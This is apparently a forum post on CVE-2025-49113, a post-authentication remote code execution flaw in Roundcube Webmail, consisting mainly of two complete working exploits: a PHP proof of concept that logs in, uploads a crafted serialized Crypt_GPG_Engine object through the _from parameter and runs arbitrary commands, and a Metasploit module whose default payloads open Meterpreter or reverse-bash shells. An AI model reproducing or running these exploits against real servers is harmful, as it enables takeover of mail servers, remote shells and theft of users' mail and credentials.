Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
2508[CVE-2025-49113] Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
STAFF TEAM
#1
OverviewA critical vulnerability has been discovered in Roundcube Webmail (versions < 1.5.10 and 1.6.0–1.6.10) that allows authenticated users to perform remote code execution through a PHP object deserialization flaw triggered by improper validation of the _from parameter in program/actions/settings/upload.php. The flaw carries a CVSS 3.1 score of 9.9 (Critical)
  • CVE ID: CVE-2025-49113
  • Severity: Critical
  • CVSS Score: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
  • EPSS Score: 0.00661
  • EPSS Percentile: %70 (Likely to be exploited)
  • Published: June 1, 2025
  • Affected Versions: All versions prior to 1.5.10, 1.6.11
  • Patched Versions: 1.5.10, 1.6.11
Exploit Code:PHP Version:
Code:
<?php

/**
* Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
*
* Universal PoC for any PHP version
*
*
* Vulnerable on RC Version: 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.5.7, 1.5.8, 1.5.9, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.6.9, 1.6.10
*
* Main execution flow.
* php CVE-2025-49113.php http://roundcube.local username password "cat /etc/passwd"
*
*
* Disclaimer:
*   This proof-of-concept code is provided for educational and research purposes only.
*   The author and contributors assume no responsibility for any misuse or damage
*   resulting from the use of this code. Unauthorized use on systems you do not own
*   or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
*
* @param array<string> $argv
* @return void
*/
function main(array $argv): void
{
    message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');

    if (count($argv) < 5) {
        message(
            sprintf(
                'Usage: php %s <target_url> <username> <password> <command>',
                basename(__FILE__)
            ),
            1
        );
    }

    [$_, $targetUrl, $username, $password, $command] = $argv;

    try {
        validateUrl($targetUrl);

        // Initial request to get CSRF token and starting session cookies
        [$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl);

        // Authenticate using the initial cookie
        $sessionCookie = authenticate(
            $targetUrl,
            $username,
            $password,
            $csrfToken,
            $initialCookie
        );

        message("Command to be executed: \n" . $command);

        // Prepare and inject payload
        [$payloadName, $payloadFile] = calcPayload($command);
        injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile);

        // Trigger and cleanup
        executePayload($targetUrl, $sessionCookie);

        message('Exploit executed successfully');
    } catch (\Exception $e) {
        message('Error: ' . $e->getMessage(), 1);
    }
}

// -----------------------------------------------------------------------------
// Helper functions
// -----------------------------------------------------------------------------

/**
* Validates the target URL.
*
* @param string $url
* @throws \Exception
*/
function validateUrl(string $url): void
{
    if (false === filter_var($url, FILTER_VALIDATE_URL)) {
        throw new \Exception('Invalid target URL: ' . $url);
    }
}

/**
* Retrieves CSRF token and session cookie from initial GET.
*
* @param string $targetUrl
* @return array{string, string} [urlencoded csrf token, initial cookie string]
* @throws RuntimeException If request fails or token missing
*/
function fetchCsrfTokenAndCookie(string $targetUrl): array
{
    message('Retrieving CSRF token and session cookie...');

    $context = stream_context_create(['http' => ['method' => 'GET']]);
    $body = @file_get_contents($targetUrl . '/', false, $context);
    if (false === $body) {
        throw new \RuntimeException('Failed to fetch initial page for CSRF token');
    }

    $rawHeaders = $http_response_header ?? [];
    $headersStr = implode("\r\n", $rawHeaders);

    $token  = getToken($body);
    $cookie = getCookie($headersStr);

    return [$token, $cookie];
}

/**
* Authenticates to Roundcube and returns the updated session cookie.
*
* @param string $targetUrl
* @param string $user
* @param string $pass
* @param string $token
* @param string $cookie Existing cookie from initial request
* @return string Combined session cookie
* @throws RuntimeException on authentication failure
*/
function authenticate(
    string $targetUrl,
    string $user,
    string $pass,
    string $token,
    string $cookie
): string {
    message("Authenticating user: {$user}");

    $postData = http_build_query([
        '_token'    => $token,
        '_task'     => 'login',
        '_action'   => 'login',
        '_timezone' => '_default_',
        '_url'      => '_task=login',
        '_user'     => $user,
        '_pass'     => $pass,
    ]);

    $headers = [
        'Content-Type: application/x-www-form-urlencoded',
        "Cookie: {$cookie}",
    ];

    $context = stream_context_create([
        'http' => [
            'method'          => 'POST',
            'header'          => implode("\r\n", $headers),
            'content'         => $postData,
            'follow_location' => 0,
        ],
    ]);

    $body = @file_get_contents($targetUrl . '/?_task=login', false, $context);
    $respHeaders = implode("\r\n", $http_response_header ?? []);

    if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) {
        throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));
    }

    message('Authentication successful');

    return getCookie($respHeaders);
}

/**
* Injects the malicious payload via the user settings upload endpoint.
*
* @param string $targetUrl
* @param string $cookie
* @param string $payloadName
* @param string $payloadFile
* @return void
* @throws \Exception
*/
function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void
{
    message('Injecting payload...');

    $boundary = '------a_rule_for_WAF_to_block_fool_exploitation';

    $multipart = implode("\r\n", [
        '--' . $boundary,
        'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"',
        'Content-Type: image/png',
        '',
        base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),
        '--' . $boundary . '--',
    ]);

    $headers = implode("\r\n", [
        'X-Requested-With: XMLHttpRequest',
        'Content-Type: multipart/form-data; boundary=' . $boundary,
        'Cookie: ' . $cookie,
    ]);

    $context = stream_context_create([
        'http' => [
            'method'  => 'POST',
            'header'  => $headers,
            'content' => $multipart,
        ],
    ]);

    $url = sprintf(
        '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',
        $targetUrl,
        urlencode($payloadName)
    );

    message('End payload: ' . $url);

    $response = @file_get_contents($url, false, $context);
    if (false === $response || strpos($response, 'preferences_time') === false) {
        throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response'));
    }

    message('Payload injected successfully');
}

/**
* Triggers execution of the injected payload by serializing session data.
*
* @param string $targetUrl
* @param string $cookie
* @return void
*/
function executePayload(string $targetUrl, string $cookie): void
{
    message('Executing payload...');
    $token = getToken(
        file_get_contents(
            $targetUrl . '/',
            false,
            stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
        )
    );

    file_get_contents(
        sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token),
        false,
        stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
    );
}

/**
* Extracts and encodes the CSRF token from response body.
*
* @param string $body HTTP response body
* @return string URL-encoded token
* @throws RuntimeException If token is not found
*/
function getToken(string $body): string
{
    if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) {
        return rawurlencode($matches[1]);
    }

    throw new \RuntimeException('CSRF token not found in response body');
}

/**
* Aggregates Set-Cookie headers into a single cookie string.
*
* @param string $headers Raw HTTP headers
* @param string $existing Any existing cookie string to preserve
* @return string Concatenated cookies
*/
function getCookie(string $headers, string $existing = ''): string
{
    $cookies = [];

    if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) {
        foreach ($matches as [$full, $key, $value]) {
            if ($value === '-del-') {
                continue;
            }
            $cookies[] = sprintf('%s=%s', $key, $value);
        }
    }

    return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : '');
}

/**
* Magic is happening here
*/
function calcPayload($cmd){

    class Crypt_GPG_Engine{
        private $_gpgconf;
        
        function __construct($cmd){
            $this->_gpgconf = $cmd.';#';
        }
    }

    $payload = serialize(new Crypt_GPG_Engine($cmd));
    $payload = process_serialized($payload) . 'i:0;b:0;';
    $append = strlen(12 + strlen($payload)) - 2;
    $_from = '!";i:0;'.$payload.'}";}}';
    $_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png';
    
    $_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation
    
    return [$_from, $_file];
}

/**
* PHPGGC magic
*/
function process_serialized($serialized, $full = false){
    $new = '';
    $last = 0;
    $current = 0;
    $pattern = '#\bs:([0-9]+):"#';

    while(
        $current < strlen($serialized) &&
        preg_match(
            $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
        )
    )
    {
        $p_start = $matches[0][1];
        $p_start_string = $p_start + strlen($matches[0][0]);
        $length = $matches[1][0];
        $p_end_string = $p_start_string + $length;

        if(!(
            strlen($serialized) > $p_end_string + 2 &&
            substr($serialized, $p_end_string, 2) == '";'
        ))
        {
            $current = $p_start_string;
            continue;
        }
        $string = substr($serialized, $p_start_string, $length);
        
        $clean_string = '';
        for($i=0; $i < strlen($string); $i++)
        {
            $letter = $string[$i];
            if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */)
                $letter = sprintf("\\%02x", ord($letter));
            
            $clean_string .= $letter;
        }

        $new .=
            substr($serialized, $last, $p_start - $last) .
            'S:' . $matches[1][0] . ':"' . $clean_string . '";'
        ;
        $last = $p_end_string + 2;
        $current = $last;
    }

    $new .= substr($serialized, $last);
    return $new;
}

/**
* Prints a formatted message and optionally exits.
*
* @param string  $text     Message to print
* @param int     $exitCode Exit code (0 to continue)
* @return void
*/
function message(string $text, int $exitCode = 0): void
{
    echo '### ' . $text . PHP_EOL . PHP_EOL;

    if ($exitCode !== 0) {
        exit($exitCode);
    }
}

main($argv);

Metasploit Version:
Code:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
        'Description' => %q{
          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
          by authenticated users because the _from parameter in a URL is not validated
          in program/actions/settings/upload.php, leading to PHP Object Deserialization.

          An attacker can execute arbitrary system commands as the web server.
        },
        'Author' => [
          'Maksim Rogov', # msf module
          'Kirill Firsov', # disclosure and original exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49113'],
          ['URL', 'https://fearsoff.org/research/roundcube']
        ],
        'DisclosureDate' => '2025-06-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :nix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
      )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
        OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
        OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
        OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
      ]
    )
  end

  class PhpPayloadBuilder
    def initialize(command)
      @encoded = Rex::Text.encode_base32(command)
      @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
    end

    def build
      len = @gpgconf.bytesize
      %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
    end
  end

  def fetch_login_page
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
    res
  end

  def check
    res = fetch_login_page

    unless res.body =~ /"rcversion"\s*:\s*(\d+)/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
    end

    version = Rex::Version.new(Regexp.last_match(1).to_s)
    print_good("Extracted version: #{version}")

    if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
      return CheckCode::Appears
    elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def build_serialized_payload
    print_status('Preparing payload...')

    stager = case target['Type']
             when :nix_cmd
               payload.encoded
             when :linux_dropper
               generate_cmdstager.join(';')
             else
               fail_with(Failure::BadConfig, 'Unsupported target type')
             end

    serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
    print_good('Payload successfully generated and serialized.')
    serialized
  end

  def exploit
    token = fetch_csrf_token
    login(token)

    payload_serialized = build_serialized_payload
    upload_payload(payload_serialized)
  end

  def fetch_csrf_token
    print_status('Fetching CSRF token...')

    res = fetch_login_page
    html = res.get_html_document

    token_input = html.at('input[name="_token"]')
    unless token_input
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
    end

    token = token_input.attributes.fetch('value', nil)
    if token.blank?
      fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
    end

    print_good("Extracted token: #{token}")
    token
  end

  def login(token)
    print_status('Attempting login...')
    vars_post = {
      '_token' => token,
      '_task' => 'login',
      '_action' => 'login',
      '_url' => '_task=login',
      '_user' => datastore['USERNAME'],
      '_pass' => datastore['PASSWORD']
    }

    vars_post['_host'] = datastore['HOST'] if datastore['HOST']

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => vars_post,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302

    print_good('Login successful.')
  end

  def generate_from
    options = [
      'compose',
      'reply',
      'import',
      'settings',
      'folders',
      'identity'
    ]
    options.sample
  end

  def generate_id
    random_data = SecureRandom.random_bytes(8)
    timestamp = Time.now.to_f.to_s
    Digest::MD5.hexdigest(random_data + timestamp)
  end

  def generate_uploadid
    millis = (Time.now.to_f * 1000).to_i
    "upload#{millis}"
  end

  def upload_payload(payload_filename)
    print_status('Uploading malicious payload...')

    # 1x1 transparent pixel image
    png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
    boundary = Rex::Text.rand_text_alphanumeric(8)

    data = ''
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
    data << "Content-Type: image/png\r\n\r\n"
    data << png_data
    data << "\r\n--#{boundary}--\r\n"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data
    })

    print_good('Exploit attempt complete. Check for session.')
  end
end

Reply to this thread